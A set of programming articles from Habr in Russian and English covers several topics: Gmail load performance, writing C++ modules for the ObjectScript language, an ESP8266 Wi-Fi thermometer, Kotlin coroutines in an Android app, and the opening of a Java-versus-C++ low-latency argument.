Здесь видно, что на протяжении всего этого времени браузер был занят исполнением Javascript. Инстересно, что такого важного и тяжелого происходит в этом коде. К счастью, Javascript загружается в браузер практически без изменений, и его можно почитать.
Рассматриваем оставшийся код
----------------------------
Давайте почитаем доступный нам Javascript-код. Здесь приходит на выручку возможность [отформатировать минифицированный код](https://developers.google.com/web/tools/chrome-devtools/javascript/reference#format), чтобы сделать его более читаемым.
По итогам просмотра нашлось следующее:
* Код очень сильно обфусцирован. Скорее всего, использовался Google Closure Compiler в [Advanced Mode](https://developers.google.com/closure/compiler/docs/api-tutorial3). То есть, разработчики Gmail выжали максимум из современных технологий минификации.
* В коде собираются метрики производительности, так что разработчики должны быть в курсе, о том, насколько медленно загружается интерфейс у пользователей.
* Исходники содержат полифиллы для Promise, Map, Set и других современных API, которые могли бы не грузиться в современные браузеры.
* Код Gmail написан на [Google Closure Libary](https://github.com/google/closure-library)
На последнем пункте стоит остановится поподробнее. Closure Library – это фреймворк для разработки интерфейсов, появившийся в 2009 году, и с тех пор мало изменился. Например, там до сих пор поддерживается [Ajax через ActiveXObject](https://github.com/google/closure-library/blob/master/closure/goog/net/xmlhttp.js#L216): который нужен только для IE6 и ниже, хотя текущий Gmail [официально поддерживает](https://support.google.com/mail/answer/6557?co=GENIE.Platform%3DDesktop&hl=en) только IE 10+.
Кроме того, UI-часть Closure основывается на [иерархии классов](https://google.github.io/closure-library/source/closure/goog/demos/) в "лучших" традициях GWT – подходе, c большим количеством многословных абстракций, которые, очевидно, влияют на производительность рендеринга. Современные UI-фреймворки (React или Vue, например) предлагают намного более легковесные абстракции – компоненты – которые намного дешевле в рендеринге.
Отсюда и долгая инициализация: в коде создаются тысячи классов и инициализируется много абстракций, перед тем как собственно начать рендерить нам интерфейс Gmail.
Таким образом, несмотря на обновленный внешний вид, Gmail тянет в себе легаси старых технологий, тяжесть которых не скрыть за внешней оболочкой.
Выводы
------
Надеюсь, после этого обзора станет немного понятнее, почему именно тормозит Gmail. К сожалению, не в наших силах заставить Google ускорить работу их сервиса, но можно хотя бы извлечь несколько уроков для своих приложений:
* В легаси проектах обычно встречается ненужный код, например, хаки для устаревших браузеров. Пересматривайте свои исходники и избавляйтесь от тех вещей, которые стали уже неактуальными.
* Абстракции не бесплатны. Если вы хотите решить задачу, используя изящный архитектурный паттерн, сначала подумайте, а не будет ли это слишком тяжелым инструментом, может есть вариант попроще.
* Не загружайте второстепенные элементы на страницу изначально. В данном случае, виджет Hangouts мог бы не блокировать канал, мешая загрузке основных ресурсов Gmail, а загружаться в фоне, уже после отрисовки основной функциональности.
* Не стоит пренебрегать современными технологиями. В них могут быть принципиально новые решения для ваших задач, более производительные и удобные. Странно увидеть в 2018 году редизайн сервиса от Google, в котором не используются [веб-компоненты](https://developers.google.com/web/fundamentals/web-components/), за которые Google так активно [топит на конференциях](https://www.youtube.com/watch?v=7CUO7PyD5zA).
* Ну и не забывайте уделять внимание [измерениям производительности](https://developers.google.com/web/fundamentals/performance/audit/tools) для своих проектов. Для этого сейчас имеется много удобных инструментов, как браузерные, так и для [запуска в CI](https://github.com/ebidel/lighthouse-ci). | https://habr.com/ru/post/429506/ | null | ru | null |
# ObjectScript API, интеграция с C++. Часть 3: подключение модуля с функциями на C++
ObjectScript — новый объектно-ориентированный язык программирования с открытым исходным кодом. ObjectScript расширяет возможности таких языков, как JavaScript, Lua и PHP.
Часть 3: подключение модуля с функциями на C++
----------------------------------------------
Давайте создадим свой модуль с фунциями, которые будут доступны в коде на OS. Назовем модуль `my`, он будет содержать две функции:
* `isdigit` будет проверять, состоит ли строка, переданная в параметре, только из чисел
* `hash` будет преобразовывать параметр в строку хеша по нашему алгоритму
Для начала нум нужно написать функции нашего будущего модуля на C++, первая `my_isdigit`:
```
static int my_isdigit(OS * os, int params, int, int, void*)
{
OS::String str = os->toString(-params);
int len = str.getLen();
for(int i = 0; i < len; i++){
if(!isdigit(str[i])){
os->pushBool(false);
return 1;
}
}
os->pushBool(len > 0);
return 1;
}
```
Небольшие пояснения на счет:
```
OS::String str = os->toString(-params);
```
Тут мы получаем первый параметр в виде строки. `params` — это количество параметров, которые были переданы в функцию из OS. `-params` — это относительный указатель в стеке на первый параметр. Если бы нам нужно было обратится ко второму параметру, то это выглядело бы так: `os->toString(-params+1)`, к третьему — `os->toString(-params+2)` и т.д.
API на C++ предоставляет целый ряд функций для получения разных простых типов из стека: `toFloat, toDouble, toInt, toString, toUserdata, popFloat` и т.д.
Иногда в программе на C++ происходит большая работа со стеком. В этом случае, чтобы не держать в уме относительные смещения (т.к. они будут меняться, когда что-либо добавляется или вынимается из стека), удобно работать с абсолютным указателем на значение в стеке, его можно получить функцией `getAbsoluteOffs(int offs)` и работать тогда вот так:
```
int params_offs = os->getAbsoluteOffs(-params);
OS::String str = os->toString(params_offs); // перпый параметр
OS::String str = os->toString(params_offs+1); // второй
```
Это было лирическое отступление, теперь вторая фукнция нашего модуля — `my_hash`:
```
static int my_hash(OS * os, int params, int, int, void*)
{
OS::String str = os->toString(-params);
int i, len = str.getLen(), hash = 5381;
for(i = 0; i < len; i++){
hash = ((hash << 5) + hash) + str[i];
}
hash &= 0x7fffffff;
char buf[16];
for(i = 0; hash > 0; hash >>= 4){
buf[i++] = "0123456789abcdef"[hash & 0xf];
}
buf[i] = 0;
os->pushString(buf);
return 1;
}
```
Небольшое пояснение на счет:
```
return 1;
```
Это количество возвращаемых функцией значений. Функции готовы, теперь надо сообщить OS о том, что у нас есть новый модуль с такими функциями:
```
void initMyModule(OS * os)
{
OS::FuncDef funcs[] = {
{"isdigit", my_isdigit},
{"hash", my_hash},
{}
};
os->getModule("my");
os->setFuncs(funcs);
os->pop();
}
```
Теперь давайте проверим, как это работает, напишем программу на OS (main.os), которая для каждого значения тестового массива вызовет наши функции на C++:
```
for(var i, s in ["123", "12w", 1234, " df", " "]){
print("my.isdigit("..s..") = "my.isdigit(s)" my.hash("..s..") = "my.hash(s))
}
```
Программа выведет следующий результат:
```
my.isdigit(123) = true my.hash(123) = bf9878b
my.isdigit(12w) = false my.hash(12w) = f3a878b
my.isdigit(1234) = true my.hash(1234) = f89c87c7
my.isdigit( df) = false my.hash( df) = f48478b
my.isdigit( ) = false my.hash( ) = 5082f6c7
```
Полный текст исходников на C++:
```
#include "objectscript.h"
#include
using namespace ObjectScript;
static int my\_isdigit(OS \* os, int params, int, int, void\*)
{
OS::String str = os->toString(-params);
int len = str.getLen();
for(int i = 0; i < len; i++){
if(!isdigit(str[i])){
os->pushBool(false);
return 1;
}
}
os->pushBool(len > 0);
return 1;
}
static int my\_hash(OS \* os, int params, int, int, void\*)
{
OS::String str = os->toString(-params);
int i, len = str.getLen(), hash = 5381;
for(i = 0; i < len; i++){
hash = ((hash << 5) + hash) + str[i];
}
char buf[16];
hash &= 0x7fffffff;
for(i = 0; hash > 0; hash >>= 4){
buf[i++] = "0123456789abcdef"[hash & 0xf];
}
buf[i] = 0;
os->pushString(buf);
return 1;
}
void initMyModule(OS \* os)
{
OS::FuncDef funcs[] = {
{"isdigit", my\_isdigit},
{"hash", my\_hash},
{}
};
os->getModule("my");
os->setFuncs(funcs);
os->pop();
}
void main()
{
OS \* os = OS::create();
initMyModule(os);
os->require("main.os");
os->release();
}
```
Вы можете скачать исходники ObjectScript и пример из данной статьи по [этой ссылке](https://github.com/unitpoint/objectscript/zipball/master), открыть **proj.win32\examples.sln**, проект **add\_user\_module**.
Другие релевантные статьи об ObjectScript:
* [ObjectScript API, интеграция с C++. Часть 2: выполнение скрипта на OS из C++](http://habrahabr.ru/post/152813/)
* [ObjectScript API, интеграция с C++. Часть 1: работа со стеком, вызов функций OS из C++](http://habrahabr.ru/post/152797/)
* [ObjectScript — новый язык программирования](http://habrahabr.ru/post/152289/)
P.S. Небольшой опус об `OS::String`
-----------------------------------
OS::String — это объект со строкой ObjectScript, который может быть сохранен в пользовательском коде на C++. Такая строка сохраняет валидное значение все время своего существования. Чтобы получить указать на null-terminated строку, нужно воспользоваться функцией `toChar()`. ObjectScript хранит в памяти все разные строки **в единственном экземпляре**, поэтому `OS::String` — это константная строка, ее нельзя изменять ни при каких условиях. Но можно получить новую строку. `OS::String` реализует целый ряд конструкторов и оператор конкатенации, так что `OS::String` вполне можно создать из пользовательского кода и работать с ней (при необходимости).
**Q:** Что будет, если выполнить `os->release()` раньше, чем разрушаться строки `OS::String`, сохраненные в пользовательском коде?
**A:** OS::String захватывает экземпляр OS, давая ему понять, что он используется во внешнем коде. Поэтому `os->release()` не разрушит экземпляр OS, но он будет разрушен, когда последняя строка `OS::String` прекратит своё существование. | https://habr.com/ru/post/153021/ | null | ru | null |
# Wi-Fi термометр на ESP8266 + DS18B20 всего за 4$
В последнее время всё большую популярность набирают Wi-Fi модули на основе ESP8266. Я тоже решил приобщиться к прекрасному, задумав реализовать термометр, отдающий данные по HTTP. Итак, поехали.
#### Hardware
***ESP8266***
Для проекта пойдет любой из модулей от ESP-01 до ESP-11, у меня были ESP-03 (стоимость ~ $3):
Особенно приглянулись:
ESP-01 — удобен для прототипирования (есть разъем под макетку), но выведен всего 1 GPIO;
ESP-03 — много выводов, плюс керамическая антенна;
ESP-07 — то же самое что и ESP-03 + экран и разъем под внешнюю антенну.
***DS18B20***
Как вариант, можно купить уже с проводом и в герметичном корпусе.
***Питание 3.3В***
Необходим источник питания как минимум на 200мА.
***USB-UART***
Для прошивки и отладки. Я использовал преобразователь на основе CP2102
#### Подключение
Подключаем питание на ESP8266. На ногу CH\_PD так же подаем плюс.
Внимание! У кого модули не ESP-01, необходимо подать GPIO15 — GND; GPIO2 -3.3V. У ESP-01 это [уже сделано](http://www.esp8266.com/viewtopic.php?f=6&t=1094). RX и TX подключаем к USB-UART преобразователю для прошивки и отладки кода:
Подключаем DS18B20 к ESP8266. Если смотреть на маркировку: левая — земля, средняя — сигнал (GPIO12 на ESP-03), если у вас ESP-01, подключайте к GPIO0, правая — питание(3.3V). Между питанием и сигнальной линией желательно подключить резистор 4.7 кОм (у меня работает и с 10 кОм):
#### thingspeak.com
Регистрируемся на thingspeak.com, создаем канал, копируем оттуда 16-символьный ключ. Он нам пригодится для отправки данных о температуре в облако.
#### Прошивка NodeMCU
[NodeMCU](https://github.com/nodemcu/nodemcu-firmware) — это прошивка, позволяющая запускать Lua скрипты на ESP8266. Качаем последний [NodeMCU Flasher](https://github.com/nodemcu/nodemcu-flasher) и запускаем его.
Подключаем GPIO0 на землю. Выбираем нужный COM порт и скорость 74880 или 115200 (как я понимаю, у некоторых версий ESP8266 бутлоадер работает на 74880). Нажимаем Flash и передергиваем питание на ESP8266. Если прошивка не запускается, проверяем корректность подключения RX,TX, запустив PuTTY на скорости 74880. В момент подачи питания в консоль должна валится строка вроде "*ets Jan 8 2013,rst cause:1, boot mode:(1,0)*". После корректной прошивки отключаем GPIO0 от земли:
#### Заливка Lua скриптов и запуск
Скачиваем и запускаем [LuaLoader](http://benlo.com/esp8266/index.html#LuaLoader). Выбираем COM-порт и скорость 9600, если нет соединения — пробуем передернуть питание у модуля ESP8266. Проверяем соединение, нажав на кнопку **ChipID**. В консоль должен вывестись идентификатор чипа.
```
= node.chipid()
10371968
```
Заливаем нужные файлы (кнопка UploadFile):
1. [ds18b20.lua](https://github.com/nodemcu/nodemcu-firmware/blob/master/lua_modules/ds18b20/ds18b20.lua) — библиотека для взаимодействия с DS18B20;
2. httpsender.lua — наш скрипт, читающий данные температуры и отправляющий их на thingspeak.com. Не забываем заменить **YOURAPIKEY** на свой ключ.
gpio=6 — в случае подключения датчика к GPIO12, в случае GPIO0 — gpio=3 ([таблица](https://github.com/nodemcu/nodemcu-firmware/blob/master/README.md)):
```
gpio = 6
require('ds18b20')
ds18b20.setup(gpio)
function sendData()
t=ds18b20.read()
print("Temp:"..t.." C\n")
-- conection to thingspeak.com
print("Sending data to thingspeak.com")
conn=net.createConnection(net.TCP, 0)
conn:on("receive", function(conn, payload) print(payload) end)
-- api.thingspeak.com 184.106.153.149
conn:connect(80,'184.106.153.149')
conn:send("GET /update?key=YOURAPIKEY&field1="..t.." HTTP/1.1\r\n")
conn:send("Host: api.thingspeak.com\r\n")
conn:send("Accept: */*\r\n")
conn:send("User-Agent: Mozilla/4.0 (compatible; esp8266 Lua; Windows NT 5.1)\r\n")
conn:send("\r\n")
conn:on("sent",function(conn)
print("Closing connection")
conn:close()
end)
conn:on("disconnection", function(conn)
print("Got disconnection...")
end)
end
-- send data every 60000 ms to thing speak
tmr.alarm(0, 60000, 1, function() sendData() end )
```
3. init.lua — скрипт инициализирующий WiFi и запускающий httpsender.lua. Не забываем прописать свои SSID и пароль для WiFi:
```
print("Setting up WIFI...")
wifi.setmode(wifi.STATION)
--modify according your wireless router settings
wifi.sta.config("SSID","SSIDPASSWD")
wifi.sta.connect()
tmr.alarm(1, 1000, 1, function()
if wifi.sta.getip()== nil then
print("IP unavaiable, Waiting...")
else
tmr.stop(1)
print("Config done, IP is "..wifi.sta.getip())
dofile("httpsender.lua")
end
```
Итог:
#### Планы
Это первый опыт работы с ESP8266. В планах попробовать следующее:
1. Найти альтернативу thingspeak. Графики хочется двигать и масштабировать. Может, кто-то знает аналоги?
2. Датчик влажности (возможно, DHT22). Вроде уже есть в стандартных библиотеках.
3. Датчик CO2 на основе датчика K-30.
4. Управляемый рассвет без дополнительного контроллера, управление с ESP8266. Вдохновила публикация [«Искусственный рассвет»](http://habrahabr.ru/post/249535/).
#### Используемые материалы
За основу взят текст [«Low cost WIFI temperature (DS18B20) data logger based on ESP8266 with connectivity to thingspeak.com»](http://www.instructables.com/id/Low-cost-WIFI-temperature-data-logger-based-on-ESP/?ALLSTEPS). Код для DS18B20 почему-то отказался работать, пришлось перейти на стандартную библиотеку [ds18b20.lua](https://github.com/nodemcu/nodemcu-firmware/blob/master/lua_modules/ds18b20/ds18b20.lua). | https://habr.com/ru/post/252481/ | null | ru | null |
# Suspending over blocking
This article aims to show how to use [Kotlin Coroutines](https://kotlinlang.org/docs/reference/coroutines-overview.html) and remove [Reaxtive eXtensions (Rx)](http://reactivex.io/).
Benefits
--------
To start let's consider four benefits of Coroutines over Rx:
### Suspending over Blocking
To run non-blocking code using Rx you'd write something like this:
```
Observable.interval(1, TimeUnit.SECONDS)
.subscribe {
textView.text = "$it seconds have passed"
}
```
Which is effectively creating a new thread. Threads are heavy objects in terms of memory and performance.
Both are critical in the mobile development world.
You can achieve the same behavior using the following snippet:
```
launch {
var i = 0
while (true){
textView.text = "${it++} seconds have passed"
delay(1000)
}
}
```
Essentially, Coroutines are light-weight threads but we don't create any real thread.
Here we are using non-blocking delay() function, which is a special suspending function that does not block a thread but suspends the Coroutine.
### Natural backpressure handling over manual
Backpressure is when observables produce items more rapidly than their observers consume them.
While using Rx you have to explicitly specify how you will deal with backpressure.
There are 2 basic approaches:
* Use throttling, buffers or windows operators
* The reactive pull model
Whereas Coroutines can suspend they provide a natural answer to handling backpressure.
Thus, no additional actions are required.
### Sync code style over async
The basic nature of a mobile app is to react to user actions. That is why Reactive eXtensions would be a good choice.
However, you have to write a code in a functional style. If you used to write in imperative style it could be a bit hard.
Whereas Coroutines enable you to write async code as if it was usual sync functions. For example,
```
suspend fun showTextFromRemote() {
val text = remote.getText()
textView.text = text
}
```
Even I am working with functional style for a long time it is still easier to read and debug an imperative code.
### Native over 3rd party lib
Coroutines are a native build-in feature of Kotlin.
You don't have to add any additional dependencies. Currently, all the main libraries could deal with coroutines.
For example,
Retrofit
```
interface Api {
@Get("users")
suspend fun loadUsers() : List
}
```
Room
```
interface Dao {
@Update
suspend fun update(user: UserEntity)
}
```
So, you can build an app which is all the way suspending — starting UI layer, through domain and ending in the data layer.
App
---
Let's go down to business. We will create a classic master-detail app.
The first page would contain an infinite list of deliveries.
On item click, we will open a detail page.
Also, we will support offline mode — all the data would be cached.
Moreover, I will use MVVM architecture where the ViewModel role is played by Fragment instead of ViewModel from AAC. There are several reasons:
Fragments are usually very bald — just bind viewModel to XML.
Features like setting status bar color couldn't be done in AAC ViewModel — you have to trigger fragment's method. Using fragment as ViewModel would allow us to store all the related functionality (managing one given screen) in one class.
First, let's create BaseViewModel:
```
abstract class BaseViewModel **: Fragment(), CoroutineScope by CoroutineScope(Dispatchers.IO){
protected abstract val layoutId: Int
protected abstract val bindings: B
protected lateinit var viewBinding: V
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
retainInstance = true
}
override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View? {
viewBinding = DataBindingUtil.inflate(inflater, layoutId, container, false)
return viewBinding.root
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
viewBinding.lifecycleOwner = viewLifecycleOwner
viewBinding.setVariable(BR.bindings, bindings)
}
override fun onDestroy() {
cancel()
super.onDestroy()
}
}**
```
We mark our ViewModel as CoroutineScope so that we can start coroutines inside view models and any launched coroutines would be limited to the lifecycle of a fragment.
We have to explicitly specify the end of scope's lifecycle calling `cancel()` method to cancel all the running requests to avoid memory leaks.
We set `retainInstance = true` so that in configuration changes fragment would not be recreated so that we can complete all long-running requests.
Also, we have to set lifecycleOwner to binding to turn on [two-way data binding](https://developer.android.com/topic/libraries/data-binding/two-way).
Exception handling
------------------
According to Coroutines [documentation](https://kotlinlang.org/docs/reference/coroutines/exception-handling.html#exception-propagation):
```
Coroutine builders come in two flavors: propagating exceptions automatically (launch and actor) or exposing them to users (async and produce). The former treat exceptions as unhandled, similar to Java's Thread.uncaughtExceptionHandler
```
Since we are using launch builder in the most cases we have to specify [CoroutineExceptionHandler](https://kotlin.github.io/kotlinx.coroutines/kotlinx-coroutines-core/kotlinx.coroutines/-coroutine-exception-handler/index.html)
CoroutineExceptionHandler is [CoroutineContext.Element](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.coroutines/-coroutine-context/-element/index.html) which could be used to build a coroutine context using plus operator.
I will declare static handler as follows:
```
val exceptionHandler = CoroutineExceptionHandler { _, throwable ->
Timber.e(throwable)
}
```
And change BaseViewModel:
```
abstract class BaseViewModel **: Fragment(), CoroutineScope by CoroutineScope(Dispatchers.IO + exceptionHandler)**
```
From here on any exception occurred in launched coroutine inside ViewModel's scope would be delivered to given handler.
Next, I need to declare my API and DAO:
```
interface DeliveriesApi {
@GET("deliveries")
suspend fun getDeliveries(@Query("offset") offset: Int, @Query("limit") limit: Int): List
}
@Dao
interface DeliveryDao {
@Query("SELECT \* FROM ${DeliveryEntity.TABLE\_NAME}")
fun getAll(): DataSource.Factory
@Insert(onConflict = OnConflictStrategy.REPLACE)
suspend fun insert(delivery: DeliveryEntity)
}
```
As you can see I marked methods as suspended so that we can just declare expected response objects. Moreover, cancellation of parent coroutine will cancel network call as well.
The same for DAO.
The only difference is that we want to provide an ability to observe the database.
The easiest way is to use built-in live data support. But if we would mark getAll() as suspended it would cause a compilation error
error:
```
Not sure how to convert a Cursor to this method's return type ...
```
Here we don't need suspending because:
* Db requests are performed in the background by default
* Resulting LiveData is lifecycle aware so that we don't need to cancel it manually
We have to somehow combine remote and local data sources.
It is worthy to remember — there is should be an only single point of truth.
According to [offline-first design](https://medium.com/offline-camp/you-get-an-offline-first-app-and-you-get-an-offline-first-app-and-5452f1cbb942), it would be local storage. So, we would observe the database state. When there is nothing to retrieve we would ask data from remote and insert it to the database.
We will introduce the Listing class
```
data class Listing(
val pagedList: LiveData>,
val dataState: LiveData,
val refreshState: LiveData,
val refresh: () -> Unit,
val retry: () -> Unit
)
```
Let's go val by val:
* pagedList — the main data which is constructed as PagedList to enable infinite scrolling and wrapped with LiveData to enable data observing
* dataState — one of three states in which our data could be: Success, Running, Error. Also wrapped to LiveData to observe changes
* refreshState — when we trigger data refreshing through swipe-to-refresh we need some tool by which we would distinguish between refresh request feedback and next page request feedback. For the former one, we want to show an error at the end of the list but for refresh error, we want to show a toast message and hide a loader.
* refresh() — callback to trigger on swipe-to-refresh
* retry() — callback to trigger on pagedList loading error
Next, list view model:
```
class DeliveryListViewModel : BaseViewModel(), DeliveryListBindings, DeliveryListItemBindings, DeliveryListErrorBindings {
override val layoutId: Int = R.layout.delivery\_list
override val bindings: DeliveryListBindings = this
private val deliveryGateway: DeliveryGateway by inject { parametersOf(this) }
private val listing = deliveryGateway.getDeliveries()
override val dataState = listing.dataState
override val isRefreshing = Transformations.switchMap(listing.refreshState) {
MutableLiveData(it == DataState.Loading)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
setupList()
setupRefresh()
}
private fun setupList() {
val adapter = DeliveriesAdapter(this, this)
viewBinding.deliveries.adapter = adapter
viewBinding.deliveries.setHasFixedSize(true)
listing.pagedList.observe(viewLifecycleOwner, Observer {
adapter.submitList(it)
})
listing.dataState.observe(viewLifecycleOwner, Observer {
adapter.updateDataState(it)
})
}
private fun setupRefresh() {
listing.refreshState.observe(viewLifecycleOwner, Observer {
if (it is DataState.Error) {
Toast.makeText(context, it.message, LENGTH\_SHORT).show()
}
})
}
override fun refresh() {
listing.refresh()
}
override fun onDeliveryClicked(delivery: Delivery) {
view?.findNavController()?.navigate(DeliveryListViewModelDirections.toDetails(delivery))
}
override fun onRetryClicked() {
listing.retry()
}
}
```
Let's start from class declaration.
First of all DeliveryListBindings and DeliveryListBinding. First is our declared interface to glue view model with XML view. Second is the autogenerated class based on XML. We need the second one to set our bindings interface and lifecycle to XML.
Moreover, it is good practice to reference views using this autogenerated binding rather than using kotlin's synthetic.
There is could be the case when referenced through synthetic view doesn't exist in the current view. With data binding, you will fail fast even on compilation stage.
Next, three interfaces: DeliveryListBindings, DeliveryListItemBindings, DeliveryListErrorBindings.
1. *DeliveryListBindings* — bindings for the screen itself. For example, it contains refresh() method which is called on vertical swipe.
2. *DeliveryListItemBindings* — bindings for an item in the list. For example, onClicked()
3. *DeliveryListErrorBindings* — bindings for error view which is also the list item shown on error state. For example, it contains retry() method
Thus, we are handling everything in the single view model since it is a single screen but also following [Interface Segregation](https://en.wikipedia.org/wiki/Interface_segregation_principle) principle
Let's turn special attention to this line:
```
private val deliveryGateway: DeliveryGateway by inject { parametersOf(this) }
```
*DeliveryGateway* needs to perform requests out of the main thread. So, it needs either to declare methods as suspended or CoroutineScope to launch new coroutines on this scope. We would choose the second approach since we need our LiveData from the beginning and then we would just wait for updates from it. It is very similar to subscribing to liveData instance when we are passing lifecycleOwner(which often refers to 'this'). Here are in the same way we are passing 'this' as CoroutineScope
CoroutineScope interface consists of a sole field — CoroutineContext. In essence, a scope and a context are the same things. The difference between a context and a scope is in their intended purpose.
To learn more about this I would recommend an [article](https://medium.com/@elizarov/coroutine-context-and-scope-c8b255d59055) by Roman Elizarov. So, providing scope to *DeliveryGateway* will also result in using the same context. Specifically thread, job and exception handler.
Now let's take a look at DeliveryGateway itself:
```
class DeliveryBoundGateway(
private val db: DataBase,
private val api: DeliveriesApi,
private val deliveryDao: DeliveryDao,
private val coroutineScope: CoroutineScope
) : DeliveryGateway {
private val boundaryCallback = DeliveriesBoundaryCallback(
api = api,
coroutineScope = coroutineScope,
handleResponse = { insertIntoDatabase(it) }
)
@MainThread
override fun getDeliveries(): Listing {
val refreshTrigger = MutableLiveData()
val refreshState = Transformations.switchMap(refreshTrigger) { refresh() }
val pagingConfig = Config(
initialLoadSizeHint = PAGE\_SIZE,
pageSize = PAGE\_SIZE,
prefetchDistance = PAGE\_SIZE
)
val deliveries = deliveryDao.getAll()
.toLiveData(
config = pagingConfig,
boundaryCallback = boundaryCallback
)
return Listing(
pagedList = deliveries,
dataState = boundaryCallback.dataState,
retry = { boundaryCallback.helper.retryAllFailed() },
refresh = { refreshTrigger.value = null },
refreshState = refreshState
)
}
/\*\*
\* When refresh is called, we simply run a fresh network request and when it arrives, clear
\* the database table and insert all new items in a transaction.
\*
\* Since the PagedList already uses a database bound data source, it will automatically be
\* updated after the database transaction is finished.
\*/
@MainThread
private fun refresh(): LiveData {
boundaryCallback.refresh()
val dataState = MutableLiveData()
dataState.value = DataState.Loading
coroutineScope.launch {
try {
val deliveries = api.getDeliveries(0, PAGE\_SIZE)
db.withTransaction {
deliveryDao.clear()
insertIntoDatabase(deliveries)
}
dataState.postValue(DataState.Loaded)
} catch (throwable: Throwable) {
Timber.w(throwable)
dataState.postValue(DataState.Error(throwable.message))
}
}
return dataState
}
private suspend fun insertIntoDatabase(deliveries: List) {
deliveries.forEach { delivery ->
val entity = deliveryConverter.fromNetwork(delivery)
deliveryDao.insert(entity)
}
}
companion object {
const val PAGE\_SIZE = 20
}
}
```
Here we are building LiveData structure from the beginning and then using coroutines load data and post it to the LiveData. Also, we are using the implementation of *PagedList.BoundaryCallback() to glue local database and remote API. When we reach the end of the paged list *boundaryCallback* is triggered and loads next chunk of data.*
As you can see we are using coroutineScope to launch new coroutines.
Since this scope equals to the fragment's lifecycle — all pending requests would be canceled on fragment's `onDestroy()` callback.
The delivery detail page is quite straightforward — we just pass a Delivery object as Parcelable from the master screen using navigation component save args plugin. On details screen simply bind given an object to an XML.
```
class DeliveryViewModel : BaseViewModel(), DeliveryBindings {
override val layoutId: Int = R.layout.delivery
override val bindings: DeliveryBindings = this
private val args: DeliveryViewModelArgs by navArgs()
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
viewBinding.delivery = args.delivery
viewBinding.image.clipToOutline = true
}
}
```
Contact me
----------
Here is the [link](https://github.com/BulatMukhutdinov/deliveries) to the github source code.
You are welcome to leave comments and open issues. | https://habr.com/ru/post/465529/ | null | en | null |
# Нужна система с низкими задержками? Выбираем Java вместо C++
Все разработчики знают, что есть два способа сделать дело: первый — вручную, медленно, нервно, сложно, либо второй – автоматизировано, быстро и еще сложнее.
Например, я мог бы продолжить писать эту статью о том, почему стоит использовать Java вместо C++ при программировании систем с низкой задержкой. Либо мог бы обучить ИИ, чтобы он сделал это за меня. Второй подход, в конце концов, сэкономил бы мне массу времени – искусственный интеллект генерировал бы за меня тысячи статей в секунду – но редактор вряд ли обрадовался бы услышать, что на подготовку первой статьи мне нужно два года.
Аналогичная ситуация возникает при необходимости разработать систему с низкой задержкой.
Когда речь заходит о разработке программных систем с низкой задержкой, принято считать, что [было бы безумием делать это](https://stackoverflow.blog/2019/10/11/c-creator-bjarne-stroustrup-answers-our-top-five-c-questions/) на каком-либо языке кроме С++. Но я попытаюсь убедить вас в противоположном, алогичном и даже в чем-то еретическом тезисе: для достижения низкой задержки Java пойдет лучше.
В этой статье я рассмотрю в качестве примера конкретный класс программ, в которых высоко ценится низкая задержка: трейдинговые системы. Но те аргументы, что я привожу здесь, применимы почти в любых обстоятельствах, где низкая задержка желательна или необходима. Мне просто удобнее рассмотреть эту тему в той предметной области, где у меня есть опыт. Правда в том, что измерить задержку бывает очень непросто.
Все сводится к тому, как вы понимаете «низкую задержку». Сейчас объясню…
Народная мудрость
-----------------
Сначала рассмотрим, по каким причинам C++ предпочтителен для создания высокоскоростных систем с низкой задержкой.
Поскольку C++ очень близок к металлу, большинство разработчиков скажут вам, что [вы по определению выигрываете в скорости](https://stackoverflow.blog/2019/08/07/what-every-developer-should-learn-early-on/), когда пишете на этом языке. В ситуациях, не терпящих задержек, например, при высокоскоростном трейдинге, когда на уровне микросекунд решается, что перед нами – ценный софт или бесполезная куча мусора на диске, C++ считается золотым стандартом.
По крайней мере, когда-то так было. В реальности же сегодня множество крупных банков и брокеров используют системы, написанные на Java. Я имею в виду, именно написанные на Java, а не написанные на Java и затем интерпретированные на С++ в целях снижения задержки. Такие системы превращаются в стандарт даже для инвестиционных банков высшего уровня, несмотря на то, что они (казалось бы) медленнее.
Итак, в чем же дело?
Пожалуй, C++ действительно дает «низкую задержку» на уровне выполнения кода, но ни о какой экономии времени не идет речи при выкатывании новых возможностей или даже поиске разработчиков, способных их написать.
(Реальные) отличия между Java и C++
-----------------------------------
Но такая проблема с длительностью разработки – это еще цветочки по сравнению с реальными [отличиями между Java и C++](https://www.softwaretestinghelp.com/cpp-vs-java/) в боевых системах. Итак, чтобы понять истинную ценность каждого из языков в этом контексте, давайте немного развернем этот момент.
Во-первых, важно помнить, по какой именно причине С++ действительно быстрее Java в большинстве ситуаций: указатель C++ - это адрес переменной в памяти. То есть, программа может напрямую обращаться к конкретным переменным, а не просматривать вычислительно затратные таблицы, чтобы найти их. Либо может, если точно ей указать, где находятся нужные переменные — так как при работе с C++ зачастую приходится явно управлять временем жизни и принадлежностью объектов.
Суть всего этого такова: если вы в самом деле не владеете С++ в совершенстве (а это навык, на овладение которым уходят десятки лет), то код на C++ потребуется отлаживать часами, если не неделями. Любой, кто пытался отлаживать движок Монте-Карло или решатель для уравнений в частных производных (PDE), расскажет вам, что отладка памяти на фундаментальном уровне может занимать невообразимое количество времени. Всего один дефектный указатель может легко обвалить всю систему, так что сдача новой версии программы, написанной на C++ - это иногда просто ужас.
Это, конечно же, еще не все. Те, кто наслаждается программированием на C++ (все трое) укажут вам, что сборщик мусора в Java страдает [от нелинейных всплесков задержки](https://www.geeksforgeeks.org/garbage-collection-java/). Это, в частности, актуально при работе с унаследованными системами. Поэтому добавление обновлений в код Java так, чтобы не сломать клиенту всю систему, может оказаться медленным вплоть до неприменимости.
На что я возражу, что за последнее десятилетие проделана огромная работа, чтобы снизить задержку, возникающую из-за сборщика мусора Java. Например, есть [LMAX Disruptor](https://lmax-exchange.github.io/disruptor/), трейдинговая платформа с низкой задержкой, написанная на Java, которая строилась как каркас для «сродства с железом» (mechanical sympathy), на котором она работает – причем, без блокировок.
